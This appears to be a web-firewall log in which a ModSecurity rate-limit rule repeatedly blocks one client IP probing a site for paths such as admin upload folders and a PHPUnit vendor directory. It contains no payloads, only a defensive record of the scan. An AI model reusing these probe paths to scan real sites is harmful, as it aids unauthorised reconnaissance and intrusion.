[Tue Feb 03 17:46:59.489395 2026] [:error] [pid 28720:tid 28745] [client 149.102.230.131:39940] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aYHEE2mRXm2bmr_sYiadrwAAARc"]
[Tue Feb 03 17:47:00.080308 2026] [:error] [pid 5148:tid 5166] [client 149.102.230.131:39954] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aYHEFL83HCHLtUIbS7KsRwAAAU8"]
[Tue Feb 03 17:47:00.668686 2026] [:error] [pid 28720:tid 28733] [client 149.102.230.131:39968] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aYHEFGmRXm2bmr_sYiadsQAAAQs"]
[Tue Feb 03 17:47:01.258509 2026] [:error] [pid 5148:tid 5164] [client 149.102.230.131:39980] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/"] [unique_id "aYHEFb83HCHLtUIbS7KsSAAAAU0"]
[Tue Feb 03 17:47:01.844986 2026] [:error] [pid 42921:tid 42981] [client 149.102.230.131:39996] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aYHEFYblShffGl-01odHowAAAFc"]
[Tue Feb 03 17:47:02.455635 2026] [:error] [pid 42922:tid 42995] [client 149.102.230.131:39998] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aYHEFmazX4WPS_dQRkhpRAAAAIo"]
[Tue Feb 03 17:47:03.121965 2026] [:error] [pid 42920:tid 42931] [client 149.102.230.131:40004] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aYHEFyix3YKltG4EU0lTlwAAAAI"]
[Tue Feb 03 17:47:03.870978 2026] [:error] [pid 42922:tid 43000] [client 149.102.230.131:40008] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Admin/uploads/"] [unique_id "aYHEF2azX4WPS_dQRkhpSAAAAI8"]
[Tue Feb 03 17:47:04.646350 2026] [:error] [pid 43028:tid 43036] [client 149.102.230.131:40010] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aYHEGFnHWnJD4cJC5DtjLwAAAMY"]
[Tue Feb 03 17:47:05.377939 2026] [:error] [pid 5148:tid 5159] [client 149.102.230.131:40020] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aYHEGb83HCHLtUIbS7KsTgAAAUg"]
[Tue Feb 03 17:47:05.969476 2026] [:error] [pid 42921:tid 42967] [client 149.102.230.131:40022] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aYHEGYblShffGl-01odHqQAAAEk"]
[Tue Feb 03 17:47:06.620397 2026] [:error] [pid 5148:tid 5172] [client 149.102.230.131:40030] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aYHEGr83HCHLtUIbS7KsTwAAAVU"]
[Tue Feb 03 17:47:07.252203 2026] [:error] [pid 28720:tid 28739] [client 149.102.230.131:40044] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aYHEG2mRXm2bmr_sYiadxAAAARE"]
[Tue Feb 03 17:47:07.841039 2026] [:error] [pid 5148:tid 5164] [client 149.102.230.131:44904] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aYHEG783HCHLtUIbS7KsUQAAAU0"]
[Tue Feb 03 17:47:08.426638 2026] [:error] [pid 42922:tid 43003] [client 149.102.230.131:44912] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aYHEHGazX4WPS_dQRkhpVQAAAJI"]
[Tue Feb 03 17:47:09.083697 2026] [:error] [pid 42921:tid 42969] [client 149.102.230.131:44922] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aYHEHYblShffGl-01odHrgAAAEs"]
[Tue Feb 03 17:47:09.704572 2026] [:error] [pid 28720:tid 28728] [client 149.102.230.131:44930] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aYHEHWmRXm2bmr_sYiadygAAAQY"]
[Tue Feb 03 17:47:10.292706 2026] [:error] [pid 5229:tid 5240] [client 149.102.230.131:44942] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aYHEHkKmEgmJub93yUq1agAAAYk"]
[Tue Feb 03 17:47:10.988212 2026] [:error] [pid 42922:tid 42991] [client 149.102.230.131:44948] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aYHEHmazX4WPS_dQRkhpWAAAAIY"]
[Tue Feb 03 17:47:11.620471 2026] [:error] [pid 42922:tid 42987] [client 149.102.230.131:44964] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aYHEH2azX4WPS_dQRkhpWQAAAII"]
[Tue Feb 03 17:47:12.222082 2026] [:error] [pid 43028:tid 43036] [client 149.102.230.131:44972] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aYHEIFnHWnJD4cJC5DtjNgAAAMY"]
[Tue Feb 03 17:47:12.812316 2026] [:error] [pid 42920:tid 42952] [client 149.102.230.131:44988] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aYHEICix3YKltG4EU0lTogAAABc"]
[Tue Feb 03 17:47:13.409371 2026] [:error] [pid 28720:tid 28735] [client 149.102.230.131:44998] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aYHEIWmRXm2bmr_sYiad0QAAAQ0"]
[Tue Feb 03 17:47:14.012931 2026] [:error] [pid 5229:tid 5238] [client 149.102.230.131:45008] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aYHEIkKmEgmJub93yUq1bgAAAYc"]
[Tue Feb 03 17:47:14.605632 2026] [:error] [pid 5229:tid 5237] [client 149.102.230.131:45020] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aYHEIkKmEgmJub93yUq1cAAAAYY"]
[Tue Feb 03 17:47:15.194620 2026] [:error] [pid 5229:tid 5236] [client 149.102.230.131:45030] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aYHEI0KmEgmJub93yUq1cgAAAYU"]
[Tue Feb 03 17:47:15.785879 2026] [:error] [pid 28720:tid 28727] [client 149.102.230.131:45044] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aYHEI2mRXm2bmr_sYiad1AAAAQU"]
[Tue Feb 03 17:47:16.376255 2026] [:error] [pid 28720:tid 28728] [client 149.102.230.131:45056] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aYHEJGmRXm2bmr_sYiad1wAAAQY"]
[Tue Feb 03 17:47:16.977149 2026] [:error] [pid 5148:tid 5158] [client 149.102.230.131:45068] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aYHEJL83HCHLtUIbS7KsWwAAAUc"]
[Tue Feb 03 17:47:17.589420 2026] [:error] [pid 5148:tid 5154] [client 149.102.230.131:60990] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aYHEJb83HCHLtUIbS7KsXQAAAUM"]
[Tue Feb 03 17:47:18.205712 2026] [:error] [pid 43028:tid 43032] [client 149.102.230.131:32768] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aYHEJlnHWnJD4cJC5DtjPgAAAMI"]
[Tue Feb 03 17:47:18.801606 2026] [:error] [pid 43028:tid 43038] [client 149.102.230.131:32776] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aYHEJlnHWnJD4cJC5DtjPwAAAMg"]
[Tue Feb 03 17:47:19.470193 2026] [:error] [pid 43028:tid 43052] [client 149.102.230.131:32778] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aYHEJ1nHWnJD4cJC5DtjQgAAANY"]
[Tue Feb 03 17:47:20.058809 2026] [:error] [pid 28720:tid 28731] [client 149.102.230.131:32794] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aYHEKGmRXm2bmr_sYiad3AAAAQk"]
[Tue Feb 03 17:47:20.647369 2026] [:error] [pid 42921:tid 42974] [client 149.102.230.131:32800] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aYHEKIblShffGl-01odHswAAAFA"]
[Tue Feb 03 17:47:21.236745 2026] [:error] [pid 42921:tid 42961] [client 149.102.230.131:32816] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aYHEKYblShffGl-01odHtwAAAEM"]
[Tue Feb 03 17:47:21.848543 2026] [:error] [pid 43028:tid 43034] [client 149.102.230.131:32818] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aYHEKVnHWnJD4cJC5DtjSAAAAMQ"]
[Tue Feb 03 17:47:22.447873 2026] [:error] [pid 5148:tid 5175] [client 149.102.230.131:32824] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aYHEKr83HCHLtUIbS7KsYQAAAVg"]
[Tue Feb 03 17:47:23.128403 2026] [:error] [pid 28720:tid 28724] [client 149.102.230.131:32834] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aYHEK2mRXm2bmr_sYiad4gAAAQI"]
[Tue Feb 03 17:47:23.784013 2026] [:error] [pid 28720:tid 28742] [client 149.102.230.131:32842] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aYHEK2mRXm2bmr_sYiad5AAAARQ"]
[Tue Feb 03 17:47:24.390139 2026] [:error] [pid 42920:tid 42931] [client 149.102.230.131:32848] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aYHELCix3YKltG4EU0lTqwAAAAI"]
[Tue Feb 03 17:47:25.044247 2026] [:error] [pid 43028:tid 43040] [client 149.102.230.131:32864] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aYHELVnHWnJD4cJC5DtjTAAAAMo"]
[Tue Feb 03 17:47:25.647563 2026] [:error] [pid 42920:tid 42937] [client 149.102.230.131:32880] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aYHELSix3YKltG4EU0lTrgAAAAg"]
[Tue Feb 03 17:47:26.234489 2026] [:error] [pid 42922:tid 42988] [client 149.102.230.131:32890] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aYHELmazX4WPS_dQRkhpXgAAAIM"]
[Tue Feb 03 17:47:26.842657 2026] [:error] [pid 42921:tid 42977] [client 149.102.230.131:32894] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aYHELoblShffGl-01odHwAAAAFM"]
[Tue Feb 03 17:47:27.430625 2026] [:error] [pid 5148:tid 5167] [client 149.102.230.131:43900] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aYHEL783HCHLtUIbS7KsZQAAAVA"]
[Tue Feb 03 17:47:28.017585 2026] [:error] [pid 42922:tid 42992] [client 149.102.230.131:43906] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aYHEMGazX4WPS_dQRkhpYwAAAIc"]
[Tue Feb 03 17:47:28.606865 2026] [:error] [pid 5148:tid 5169] [client 149.102.230.131:43922] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aYHEML83HCHLtUIbS7KsawAAAVI"]
[Tue Feb 03 17:47:29.278144 2026] [:error] [pid 42922:tid 43006] [client 149.102.230.131:43938] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aYHEMWazX4WPS_dQRkhpZQAAAJU"]
[Tue Feb 03 17:47:29.866356 2026] [:error] [pid 5148:tid 5160] [client 149.102.230.131:43940] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aYHEMb83HCHLtUIbS7KsbQAAAUk"]
[Tue Feb 03 17:47:30.491117 2026] [:error] [pid 42922:tid 42994] [client 149.102.230.131:43944] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aYHEMmazX4WPS_dQRkhpaQAAAIk"]
[Tue Feb 03 17:47:31.714248 2026] [:error] [pid 42921:tid 42975] [client 149.102.230.131:43960] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aYHEM4blShffGl-01odHxQAAAFE"]
[Tue Feb 03 17:47:32.300417 2026] [:error] [pid 42922:tid 43005] [client 149.102.230.131:43968] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aYHENGazX4WPS_dQRkhpbQAAAJQ"]
[Tue Feb 03 17:47:32.904075 2026] [:error] [pid 42922:tid 43002] [client 149.102.230.131:43984] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aYHENGazX4WPS_dQRkhpcQAAAJE"]
[Tue Feb 03 17:47:33.498022 2026] [:error] [pid 43028:tid 43030] [client 149.102.230.131:43996] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aYHENVnHWnJD4cJC5DtjTgAAAMA"]
[Tue Feb 03 17:47:34.111246 2026] [:error] [pid 28720:tid 28744] [client 149.102.230.131:44012] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aYHENmmRXm2bmr_sYiad6wAAARY"]
[Tue Feb 03 17:47:34.740693 2026] [:error] [pid 42922:tid 42995] [client 149.102.230.131:44020] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aYHENmazX4WPS_dQRkhpcgAAAIo"]
